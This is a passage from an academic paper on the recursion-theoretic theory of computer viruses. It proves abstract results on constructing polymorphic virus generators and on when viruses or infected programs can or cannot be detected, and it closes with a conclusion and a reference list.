$$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathbf{q}) = \varphi_{\mathbf{p}}(\mathcal{B}(\mathbf{v}, \mathbf{q}))$$

The scenario behind the equation is the following. The virus $\mathbf{v}$ infects a program $\mathbf{p}$. The infected form is $\mathcal{B}(\mathbf{v}, \mathbf{p})$. When we run the infected program $\mathcal{B}(\mathbf{v}, \mathbf{p})$, it runs $\mathbf{p}$ on the contaminated form of $\mathbf{q}$ which is $\mathcal{B}(\mathbf{v}, \mathbf{q})$. Now, if we execute $\mathcal{B}(\mathbf{v}, \mathbf{q})$, then the virus $\mathbf{v}$ is run, which propagates the infection.

The construction is immediate by applying Theorem 10. For this, let $f(z, y, \mathbf{p}, \mathbf{q}) = \varphi_{\mathbf{p}}(\varphi_z(y, \mathbf{q}))$. We get a virus $\mathbf{v}$ and a propagation function which satisfy

$$\begin{aligned}\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathbf{q}) &= f(\mathbf{e}, \mathbf{v}, \mathbf{p}, \mathbf{q}) \\ &= \varphi_{\mathbf{p}}(\varphi_{\mathbf{e}}(\mathbf{v}, \mathbf{q})) \\ &= \varphi_{\mathbf{v}}(\mathbf{p}, \mathbf{q})\end{aligned}$$

Theorem 10 characterizes a class of viruses that we call "the Smith". Similarly, Theorem 3 defines another class of viruses based on blueprint duplications. Therefore, we suggest to study the virus taxonomy from both the reproduction methods and recursion theoretic characterization.

6 Polymorphic viruses

Until now, we have considered viruses which duplicate themselves without modifying their code. Now, we consider viruses which mutate when they duplicate. Such viruses are called polymorphic.

6.1 On polymorphic generators

The previous sections have showed that a virus is essentially a fixed point of a semi-computable function.

The set of solutions of an equation like $\varphi_{\mathbf{e}}(x) = f(\mathbf{e}, x)$ is infinite but it is not semi-computable, see Rogers [22]. In fact, it is Π_2-complete. So we can not enumerate all fixed points but we can generate an infinite number of fixed points using a padding argument.

Definition 11. A virus generator *Gen* is a bijective computable function such that for each i, *Gen*(i) is a virus wrt some propagation function.

The construction of a virus generator necessitates the use of a padding function. The computable function *Pad* is a padding function if

1. *Pad* is an injective function.
2. For each program $\mathbf{q}$ and each y, $\varphi_{\mathbf{q}} \approx \varphi_{Pad(\mathbf{q},y)}$.

Lemma 12 ([22]). *There is a computable padding function Pad.*

Theorem 13. *Let f be a semi-computable function. There is a virus generator Gen such that for any i, Gen(i) is a virus such that for all $\mathbf{p}$ and x*

$$\varphi_{Gen(i)}(\mathbf{p}, x) = f(\mathbf{r}, i, \mathbf{p}, x) \qquad \textit{where } \mathbf{r} \textit{ is a program for Gen}$$

There is a uniformly computable family $(\mathcal{B}_i)$ of computable functions such that $\mathcal{B}_i$ is the propagation function of Gen(i).

Proof. The demonstration follows closely the line of the proof of Theorem 8, but unlike the previous ones, fixed points are now padded.

Let $\mathbf{q}$ be a program for f. By applying Theorem 1 to the computable function $Pad(S(\mathbf{q}, y, i), i)$, we find an $\mathbf{r}$ such that for any i

$$\varphi_{\mathbf{r}}(i) = Pad(S(\mathbf{q}, \mathbf{r}, i), i)$$

Let *Gen* be the function computed by the program $\mathbf{r}$, that is $Gen(i) = Pad(S(\mathbf{q}, \mathbf{r}, i), i)$. For any $i, \mathbf{p}$ and x

$$\begin{aligned}
\varphi_{Gen(i)}(\mathbf{p}, x) &= \varphi_{Pad(S(\mathbf{q},\mathbf{r},i),i)}(\mathbf{p}, x) \\
&= \varphi_{S(\mathbf{q},\mathbf{r},i)}(\mathbf{p}, x) \\
&= \varphi_{\mathbf{q}}(\mathbf{r}, i, \mathbf{p}, x) \\
&= f(\mathbf{r}, i, \mathbf{p}, x)
\end{aligned}$$

We see that $Gen(i)$ is a virus wrt the iteration function S. The function Gen is bijective because Pad is bijective.

Finally, we associate to $Gen(i)$ the propagation function $\mathcal{B}_i$ that we define by $\mathcal{B}_i(Gen(i), \mathbf{p}) = S(\mathbf{q}, \mathbf{r}, i, \mathbf{p})$. $\square$

Remark 14. Each virus $Gen(i)$ does not behave in the same way, because there is no reason that $\varphi_{Gen(i)} = \varphi_{Gen(i+1)}$ holds. Note that if $f(z, y, x)$ is a computable and injective as a function of y, that is if $f(z, y, x) \neq f(z, y', x)$ when $y \neq y'$, so the function Φ of Theorem 8 is injective. This suggests another construction for polymorphic viruses.

From Theorem 13, we can build various kind viruses which perform reproductions with mutations. To illustrate this, consider a virus which outputs a new viral code each time it is run. We specify it as follows :

$$\varphi_{Gen(i)}(\mathbf{p}, x) = Gen(i+1)$$

It is just obtained by applying Theorem 13 to $f(z, i, \mathbf{p}, x) = \varphi_z(i+1)$

6.2 Zuo and Zhou's viral functions

Polymorphic viruses were foreseen by Cohen and Adleman. As far as we know, Zuo and Zhou's are the first in [31] to propose a formal definition of the virus mutation process. They discuss on viruses that evolve into at most n forms, and then they consider polymorphism with an infinite number of possible mutations.

Definition 15 (Zuo and Zhou viruses). Assume that T and I are two disjoint computable sets. A total computable function $\mathcal{ZZ}$ is a ZZ-viral polymorphic function if for all i and $\mathbf{p}$,

$$\varphi_{\mathcal{ZZ}(i,\mathbf{p})}(x) = \begin{cases} D(x) & x \in T \quad \text{Injure} \\ \mathcal{ZZ}(i+1, \varphi_{\mathbf{p}}(x)) & x \in I \quad \text{Infect} \\ \varphi_{\mathbf{p}}(x) & \text{Imitate} \end{cases} \tag{9}$$

This definition is closed to the one of Adleman, where T corresponds to a set of arguments for which the virus injures and I is a set of arguments for which the virus infects. The last case corresponds to the imitation behavior of a virus. So, the difference stands on the argument i which is used to mutate the virus in the infect case. Hence, a given program $\mathbf{p}$ has an infinite set of infected forms which are $\{\mathcal{ZZ}(i, \mathbf{p}) \mid i \in \mathcal{D}\}$. (Technically, i is an encoding of natural numbers into $\mathcal{D}$.)

Theorem 16. *Assume that $\mathcal{ZZ}$ is a ZZ-viral polymorphic function. Then there is a virus generator Gen such that for any $i, \mathbf{p}$, $\varphi_{\mathcal{ZZ}(\mathbf{p},i)} \approx \varphi_{\mathcal{B}_i(Gen(i),\mathbf{p})}$.*

Proof. Suppose that $\mathcal{ZZ}$ is computable. Define the semi-computable function f following the $\mathcal{ZZ}$ definition template as follows

$$f(y, i, \mathbf{p}, x) = \begin{cases} D(x) & x \in T \quad \text{Injure} \\ \mathcal{ZZ}(i+1, \varphi_{\mathbf{p}}(x)) & x \in I \quad \text{Infect} \\ \varphi_{\mathbf{p}}(x) & \text{Imitate} \end{cases} \tag{10}$$

By applying Theorem 13, we have a virus generator *Gen* satisfying $\varphi_{Gen(i)}(\mathbf{p}, x) = f(\mathbf{r}, i, \mathbf{p}, x)$, where $\mathbf{r}$ is a program of *Gen*. It is not difficult to check that $\varphi_{Gen(i)}(\mathbf{p}, x) = \varphi_{\mathcal{ZZ}(\mathbf{p},i)}(x)$ for each x. The virus definition states that $\varphi_{Gen(i)}(\mathbf{p}, x) = \varphi_{\mathcal{B}_i(Gen(i),\mathbf{p})}(x)$. So, the proof is complete since $\varphi_{Gen(i)}(\mathbf{p}, x) = \varphi_{\mathcal{ZZ}(\mathbf{p},i)}(x)$ □

Remark 17. In the above proof, we can substitute $\mathcal{ZZ}$ by any other function, which would lead to more complex polymorphic viruses.

7 Detection

7.1 Viral Code Detection

By detection, we mean that we have a procedure to recognize viruses or variants of them. Our techniques are not based on some file scanning, but rather try to detect viruses wrt their definition, or their behavior. We propose first a direct detection of programs that are viruses.

Definition 18 (Set of viral codes). Given a propagation function $\mathcal{B}$, let its associated *set of viral codes*

$$V_{\mathcal{B}} = \{\mathbf{v} \mid \forall \mathbf{p}, x \ : \ \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{v}}(\mathbf{p}, x)\} \ .$$

Unfortunately the following holds.

Theorem 19. *There are some functions $\mathcal{B}$ such that $V_{\mathcal{B}}$ is Π_2-complete, that is not computable neither semi-computable.*

Proof. Let t a computable function. It is well known that the set $T = \{i \mid \varphi_i = t\}$ is Π_2-complete. Now, let $\mathbf{q}$ be a program computing t and $\mathcal{B}(y, \mathbf{p}) = S(\mathbf{q}, \mathbf{p})$. We show that $V_{\mathcal{B}} = T$. First observe that a virus $\mathbf{v}$ wrt

$\mathcal{B}$ verifies $\varphi_{\mathbf{v}}(\mathbf{p}, x) = t(\mathbf{p}, x)$. Since the pairing function is surjective, $\mathbf{v}$ is a code for t. So, $V_{\mathcal{B}} \subseteq T$. Conversely, take $i \in T$, one may observe that

$$\begin{aligned} \varphi_i(\mathbf{p}, x) &= t(\mathbf{p}, x) \\ &= \varphi_{\mathbf{q}}(\mathbf{p}, x) \\ &= \varphi_{S(\mathbf{q},\mathbf{p})}(x) \\ &= \varphi_{\mathcal{B}(i,\mathbf{p})}(x) \end{aligned}$$

So, $T \subseteq V_{\mathcal{B}}$. We end by noting that $V_{\mathcal{B}}$ is in any case Π_2 wrt its definition. $\square$

So, we have a similar result to that of Adleman in [1]. Nevertheless, next two Theorems show that the sets $V_{\mathcal{B}}$ may be computable. It means that the detection is decidable in some cases. As far as we know, this is one of very rare positive results for detection.

Notice also that, as sets of viruses may take various forms, it may be a good way to characterize/distinguish the propagation functions. Given a set V, what are the functions for which $V_{\mathcal{B}} = V$. What happens if V is finite, computable, Σ_1, etc?

Theorem 20. *There is some function $\mathcal{B}$ such that it is decidable whether* $\mathbf{p}$ *is a virus or not, in other words, $V_{\mathcal{B}}$ is computable.*

Proof. Let the semi-computable function $f(y, \mathbf{p}, x) = \varphi_y(\mathbf{p}, x)$, let $\mathbf{q}$ be a program computing f and the propagation function $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{q}, \mathbf{v}, \mathbf{p})$. We have for all $\mathbf{v} \in \mathcal{D}$

$$\begin{aligned} \varphi_{\mathbf{v}}(\mathbf{p}, x) &= f(\mathbf{v}, \mathbf{p}, x) && \text{by definition of } f \\ &= \varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x) && \text{by definition of } \mathbf{q} \\ &= \varphi_{S(\mathbf{q},\mathbf{v},\mathbf{p})}(x) && \text{by Iteration Theorem} \\ \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) && \text{by definition of } \mathcal{B}\ . \end{aligned}$$

Thus $V_{\mathcal{B}} = \mathcal{D}$ which is computable. $\square$

It is worth to mention that the S-m-n function plays a key role in the definition of the propagation function. Thus, it could be promising to investigate restriction of partial evaluation. This could lead to an execution environment where any virus would be detectable.

Theorem 21. *For all computable set C which contains all programs of the empty domain function, there is a propagation function $\mathcal{B}$ such that $V_{\mathcal{B}} = C$.*

Proof. Let **comp** be the (computable) composition of programs, that is $\forall \mathbf{p}, \mathbf{q}, x : \varphi_{\mathbf{comp}(\mathbf{p},\mathbf{q})}(x) = \varphi_{\mathbf{p}}(\varphi_{\mathbf{q}}(x))$. Let f be the computable function $f(x) = x + 1$ and $\mathbf{e}$ be a program computing f. Now, define

$$\mathcal{B}(y, \mathbf{p}) = \begin{cases} S(y, \mathbf{p}) & \text{if } y \in C \\ \mathbf{comp}(\mathbf{e}, S(y, \mathbf{p})) & \text{otherwise} \end{cases} \tag{11}$$

- Suppose $\mathbf{v} \in C$, we have for all $\mathbf{p}$ and x

  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{S(\mathbf{v},\mathbf{p})}(x) \qquad \text{since } \mathbf{v} \in C \tag{12}$$
  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{v}}(\mathbf{p}, x) \qquad \text{by Iteration Theorem} \tag{13}$$

  Then $\mathbf{v}$ is a virus wrt $\mathcal{B}$.

- Suppose $\mathbf{v} \notin C$, then $\varphi_{\mathbf{v}}$ has a not empty domain then there exists $\mathbf{p}$ and x such that $\varphi_{\mathbf{v}}(\mathbf{p}, x)$ is defined. We have

  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{comp}(\mathbf{e},S(\mathbf{v},\mathbf{p}))}(x) \qquad \text{since } \mathbf{v} \in C \tag{14}$$
  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{v}}(\mathbf{p}, x) + 1 \qquad \text{by Iteration Theorem} \tag{15}$$

  Since $\varphi_{\mathbf{v}}(\mathbf{p}, x)$ is defined, $\varphi_{\mathbf{v}}(\mathbf{p}, x) \neq \varphi_{\mathbf{v}}(\mathbf{p}, x) + 1 = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{v}}(\mathbf{p}, x)$. Then $\mathbf{v}$ is not a virus wrt $\mathcal{B}$.

We conclude $V_{\mathcal{B}} = C$. □

7.2 Detection of Infected Programs

An other strategy for virus detection is the following. We call Hypothesis (I) the assumption that the attacker make the user run only infected forms of the programs (which will play the role of the virus), not the virus itself. In that case, the problem is to detect infected forms rather than viruses themselves.

This notion of detection is very closed to that of Cohen [6]. Indeed, a viral set V of viral codes of Cohen for a Turing Machine M can be seen as our sets of infected forms, the virus $\mathbf{v}$ playing the role of the machine.

Definition 22 (Infected Set). Given a virus $\mathbf{v}$ wrt $\mathcal{B}$, let its *infected set*

$$I_{\mathcal{B},\mathbf{v}} = \{\mathcal{B}(\mathbf{v}, \mathbf{p}) \mid \mathbf{p} \in \mathcal{D}\} \ . \tag{16}$$

Theorem 23. *There is a virus* $\mathbf{v}$ *wrt* $\mathcal{B}$ *such that* $I_{\mathcal{B},\mathbf{v}}$ *is* Σ_1*-complete, that is recursively enumerable but not decidable.*

Proof. Let $K = \{\mathbf{p} \mid \varphi_{\mathbf{p}}(\mathbf{p}) \downarrow\}$. It is well known to be a Σ_1-complete set. As a consequence, there is a computable function f whose image is K, that is $K = \{f(x) \mid x \in \mathcal{D}\}$.

Let us define the function $\mathcal{B}(y, \mathbf{p}) = f(\mathbf{p})$. First, notice that for all y, we have $\{\mathcal{B}(y, x) \mid x \in \mathcal{D}\} = K$. So, it remains to see that $\mathcal{B}$ is a propagation function for some virus. Take the program $\mathbf{v}$ computing $\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{f(\mathbf{p})}(x)$. We have

$$\begin{aligned} \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{f(\mathbf{p})}(x) && \text{by definition of } \mathbf{v} \\ \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathcal{B}(\mathbf{v}, \mathbf{p})}(x) && \text{by definition of } \mathcal{B}\ . \end{aligned}$$

It follows $\mathbf{v}$ is a virus for $\mathcal{B}$ and its infected set is $I_{\mathcal{B},\mathbf{v}} = \{\mathcal{B}(\mathbf{v}, x) \mid x \in \mathcal{D}\} = K$ which is Σ_1-complete. We end by noting that $I_{\mathcal{B},\mathbf{v}}$ is in any case Σ_1 wrt its definition. □

This theorem, analogous to the one of Adleman [1], states the existence of a virus such that the set of its infected forms cannot be decided.

Let us try to enlarge even more the notion of detection. One may try not to detect infected forms themselves but programs with an equivalent behavior.

Definition 24 (Germ). Given a virus $\mathbf{v}$ wrt to some function $\mathcal{B}$, let its *germ*

$$G_{\mathcal{B},\mathbf{v}} = \{\mathbf{q} \mid \exists \mathbf{p} \ : \ \varphi_{\mathbf{q}} \approx \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}\}\ . \tag{17}$$

As $G_{\mathcal{B},\mathbf{v}}$ is a non-trivial extensional set, Rice's Theorem [22] shows that it can not be decided. However, there is a clever detection strategy associated with this set.

A virus $\mathbf{v}$ is said to be isolable within its germ if there is a decidable set R such that $I_{\mathcal{B},\mathbf{v}} \subset R \subset G_{\mathcal{B},\mathbf{v}}$.

The existence of such a set R provides a defense strategy. Recall Hypothesis (I), then the attacker makes the user run only infected forms $\mathcal{B}(\mathbf{v}, \mathbf{p})$ of a virus, not programs with an equivalent behavior.

In that case, before he fires a program $\mathbf{q}$, the user sees if it is in R. If $\mathbf{q} \in R$, the user knows that $\mathbf{q}$ behaves like a virus (and should stop at that point). If $\mathbf{q} \notin R$, $\mathbf{q}$ could behave like a virus, but Hypothesis (I) contradicts that fact. So, $\mathbf{q}$ is a sane program.

Unfortunately, the following theorem holds.

Theorem 25. *There is a virus* $\mathbf{v}$ *which is not isolable within its germ.*

Proof. Consider the virus $\mathbf{v}$ wrt the propagation function $\mathcal{B}$ of the proof of Theorem 23.

Suppose that $\mathbf{v}$ is isolable within its germ, then there exists a computable set R such that $I_{\mathcal{B},\mathbf{v}} \subset R \subset G_{\mathcal{B},\mathbf{v}}$. Let R^c be the computable complementary set of R. Let $\mathbf{r}$ be a program such that $\varphi_{\mathbf{r}}$ has domain R^c. It follows

$$\forall x : \varphi_{\mathbf{r}}(x) \downarrow \Leftrightarrow x \in R^c \quad . \tag{18}$$

Notice that $K \subset R$, thus K and R^c are disjoint.

- Suppose that $\varphi_{\mathbf{r}}(\mathbf{r}) \downarrow$, so $\mathbf{r} \in K$. By definition of $\mathbf{r}$, $\varphi_{\mathbf{r}}(\mathbf{r}) \downarrow \Leftrightarrow \mathbf{r} \in R^c$. As a result $\mathbf{r} \in K$ and $\mathbf{r} \in R^c$, which is absurd.

- Suppose that $\varphi_{\mathbf{r}}(\mathbf{r}) \uparrow$, so $\mathbf{r} \notin R^c$ then $\mathbf{r} \in R$. But $R \subset G_{\mathcal{B},\mathbf{v}}$, thus $\mathbf{r} \in G_{\mathcal{B},\mathbf{v}}$. By definition of $G_{\mathcal{B},\mathbf{v}}$ there exists $\mathbf{p}$ such that

  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})} \approx \varphi_{\mathbf{r}} \quad . \tag{19}$$

  As $\mathcal{B}(\mathbf{v},\mathbf{p}) \in K = I_{\mathcal{B},\mathbf{v}}$, we have $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathcal{B}(\mathbf{v},\mathbf{p})) \downarrow$.

  Now, (19) provides $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathcal{B}(\mathbf{v},\mathbf{p})) = \varphi_{\mathbf{r}}(\mathcal{B}(\mathbf{v},\mathbf{p})) \downarrow$ and (18) gives $\mathcal{B}(\mathbf{v},\mathbf{p}) \in R^c$. This is absurd because K and R^c are disjoint.

□

8 Conclusion

Our every day life shows that we need protection against computer viruses. This becomes more and more crucial as our society depends more and more on computers. Even if practical approaches consider very clever techniques, they do not bring answers for a strong reliable defense. Second, as technical details become more and more complex, it is less and less clear that a protection can be transposed from one system onto another. For these reasons, we think a theory of computer viruses should be developed.

In this paper, we propose a virus representation, which captures the former definitions in a natural way and offers several other advantages, like a construction of polymorphic viruses. Here, a virus is a program which is the solution of a fixed point equation with a function which describes the propagation and the mutation of the virus in the system. In this definition, the implication of Kleene's recursion Theorem is well clarified. Moreover, we exhibit the fact that the iteration Theorem explains, at least partially, the propagation of the infection.

There are several questions which naturally arise from this work:

1. A key property is the virus duplication mechanism, which is based on recursion Theorem. But, infection models are defined in the vast framework of acceptable enumeration of semi-computable functions. We think that it is interesting to reduce this framework and to concentrate only on both the iteration theorem and recursion theorem.

2. To survive and to protect, a virus must hide itself and have tools against anti-virus. In the general case, virus detection is undecidable. In the paper [4], we have introduced a notion of viral entropy, see also [12]. The idea is that the entropy of a virus should stay as small as possible with respect to the host system in order to stay "invisible". And, inversely, it should be possible to design a system which protects itself from computer infections by controlling its own entropy.

3. Constraints on resources like time or memory used are not yet taken into account in the existing virus models. One of our objectives is to take resources into consideration. We can expect to obtain results on the complexity of virus detection for example.

References

[1] L.M. Adleman. An abstract theory of computer viruses. In *Advances in Cryptology — CRYPTO'88*, volume 403. Lecture Notes in Computer Science, 1988.

[2] M. Bishop. An overview of computer viruses in a research environment. Technical report, Dartmouth College, Hanover, NH, USA, 1991.

[3] M. Blum. A machine independent theory of the complexity of recursive functions. *Journal of the ACM*, 14:322–336, 1967.

[4] G. Bonfante, M. Kaczmarek, and J-Y Marion. Toward an abstract computer virology. In *Lecture Notes in Computer Science*, volume 3722, pages 579–593, 2005.

[5] D.M. Chess and S.R. White. An undetectable computer virus, 2000.

[6] F. Cohen. *Computer Viruses*. PhD thesis, University of Southern California, January 1986.

[7] F. Cohen. Computer viruses: theory and experiments. *Computers and Security*, 6(1):22–35, 1987.

[8] F. Cohen. On the implications of computer viruses and methods of defense. *Computers & Security*, 7:167–184, 1988.

[9] F. Cohen. Computational aspects of computer viruses. *Computers and Security*, 8:325–344, 1989.

[10] E. Filiol. *Les virus informatiques: thorie, pratique et applications.* Springer-Verlag France, 2004. Translation [11].

[11] E. Filiol. *Computer Viruses: from Theory to Applications.* Springer-Verlag, 2005.

[12] S. Goel and S.F. Bush. Kolmogorov complexity estimates for detection of viruses in biologically inspired security systems: a comparison with traditional approaches. *Complex.*, 9(2):54–73, 2003.

[13] S. Anderson H. Thimbleby and P. Cairns. A framework for medelling trojans and computer virus infection. *Computer Journal*, 41:444–458, 1999.

[14] J. Jain, D. Osherson, J. Royer, and A. Sharma. *Systems that learn.* MIT press, 1999.

[15] N.D. Jones. Computer implementation and applications of kleene's S-m-n and recursive theorems. In Y. N. Moschovakis, editor, *Lecture Notes in Mathematics, Logic From Computer Science*, pages 243–263. 1991.

[16] N.D. Jones. *Computability and complexity: from a programming perspective.* MIT Press, Cambridge, MA, USA, 1997.

[17] S.C. Kleene. *Introduction to Metamathematics.* Van Nostrand, 1952.

[18] M.A. Ludwig. *The Giant Black Book of Computer Viruses.* American Eagle Publications, 1998.

[19] J. Myhill. Creative sets. *Zeit fur Math. Logik und Grund der Math.*, 1955.

[20] P. Odiffredi. *Classical recursion theory.* North-Holland, 1989.

[21] H. Rogers. Gödel numberings of partial recursive function. *Journal of symbolic logic*, 23(3):331–341, 1958.

[22] H.Jr. Rogers. *Theory of Recursive Functions and Effective Computability.* McGraw Hill, New York, 1967.

[23] R.M. Smullyan. *Theory of Formal Systems.* Princeton University Press, 1961.

[24] R.M. Smullyan. *Recursion Theory for Metamathematics.* Oxford University Press, 1993. Translation [26].

[25] R.M. Smullyan. *Diagonalization and Self-Reference.* Oxford University Press, 1994.

[26] R.M. Smullyan and Ph. Ithier. *Theorie de la recursivite pour la mtamathematique.* Masson, Paris, 1995.

[27] P. Szor. *The Art of Computer Virus Research and Defense.* Addison-Wesley Professional, 2005.

[28] K. Thompson. Reflections on trusting trust. *Communication of the ACM*, 27:761–763, august 1984. Also appears in ACM Turing Award Lectures: The First Twenty Years 1965-1985.

[29] V.A. Uspenskii. Enumeration operators and the concept of program. *Uspekhi Matematicheskikh Nauk*, 11, 1956.

[30] J. von Neumann. *Theory of Self-Reproducing Automata.* University of Illinois Press, Urbana, Illinois, 1966. edited and completed by A.W.Burks.

[31] Z. Zuo and M. Zhou. Some further theorical results about computer viruses. In *The Computer Journal*, 2004.